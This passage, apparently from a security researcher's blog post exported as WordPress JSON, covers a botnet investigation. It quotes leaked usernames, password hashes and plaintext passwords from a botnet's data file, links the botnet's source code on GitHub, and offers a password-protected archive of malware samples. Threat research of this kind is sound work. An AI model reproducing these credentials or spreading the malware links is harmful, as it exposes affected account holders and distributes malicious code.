https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/06\/image-11-300x229.png 300w\" sizes=\"(max-width: 526px) 100vw, 526px\" \/><\/figure>\n\n\n\n<p> What about the other JSON file? <\/p>\n\n\n\n<p>Usernames, passwords and hashes!<\/p>\n\n\n\n<p>&#8220;14673&#8221;:{&#8220;username&#8221;:&#8221;Deadmau5_5_&#8221;,&#8221;hash&#8221;:&#8221;$1$9M4L+1Df$cGT1IOC58njMFfJZUBPbM0&#8243;,&#8221;password&#8221;:&#8221;general23&#8243;},&#8221;14674&#8243;:{&#8220;username&#8221;:&#8221;leelucky2&#8243;,&#8221;hash&#8221;:&#8221;$1$9M4L+1Df$cGT1IOC58njMFfJZUBPbM0&#8243;,&#8221;password&#8221;:&#8221;general23&#8243;}<\/p>\n\n\n\n<p>This file is HUGE. Shitloads of hashes, usernames, passwords. <\/p>\n\n\n\n<p>What about source code? Did you get that too? You betcha!<\/p>\n\n\n\n<p><a href=\"https:\/\/github.com\/b1narythag0d\/Ultron-2.0-Vision\">https:\/\/github.com\/b1narythag0d\/Ultron-2.0-Vision<\/a><\/p>\n\n\n\n<p><\/p>\n\n\n\n<p><strong>Wrapping up Bot #3<\/strong><\/p>\n\n\n\n<p>More questions than answers. I need further investigation still. I need to:<\/p>\n\n\n\n<ol><li>Figure out what the ip addresses \/ ports are for. <\/li><li>Figure out what the user\/passes are for. <\/li><li>Find more botnets! <\/li><li>????????? <\/li><li>Profit! <\/li><\/ol>\n\n\n\n<p>Obviously more work is needed, but I felt it necessary to share what I have so far, and actually update this blog once in a while.<\/p>\n\n\n\n<p>Stay tuned, I got more crap to publish. Expect new shit soon.<\/p>\n\n\n\n<p>Edit: want some samples? <a href=\"https:\/\/gironsec.com\/code\/sample_malwares_from_botnet.7z\">Click Here!<\/a> The password as always is <i>infected<\/i><\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" loading=\"lazy\" width=\"1024\" height=\"689\" src=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/06\/1560996155150-1024x689.jpg\" alt=\"\" class=\"wp-image-1632\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/06\/1560996155150.jpg 1024w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/06\/1560996155150-300x202.jpg 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/06\/1560996155150-768x517.jpg 768w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n","protected":false},"excerpt":{"rendered":"<p>Whaddup RE people? I have a treat especial just for you. I didn&#8217;t find 1 botnet host, I found 3. The first item on the menu is Linux based. This one with working clients across many platforms including MIPS, Motorola, and even ARM. For those of you living under a rock, botnets are networks of [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[4,7],"tags":[],"_links":{"self":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts\/1589"}],"collection":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/comments?post=1589"}],"version-history":[{"count":5,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts\/1589\/revisions"}],"predecessor-version":[{"id":1636,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts\/1589\/revisions\/1636"}],"wp:attachment":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/media?parent=1589"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/categories?post=1589"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/tags?post=1589"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}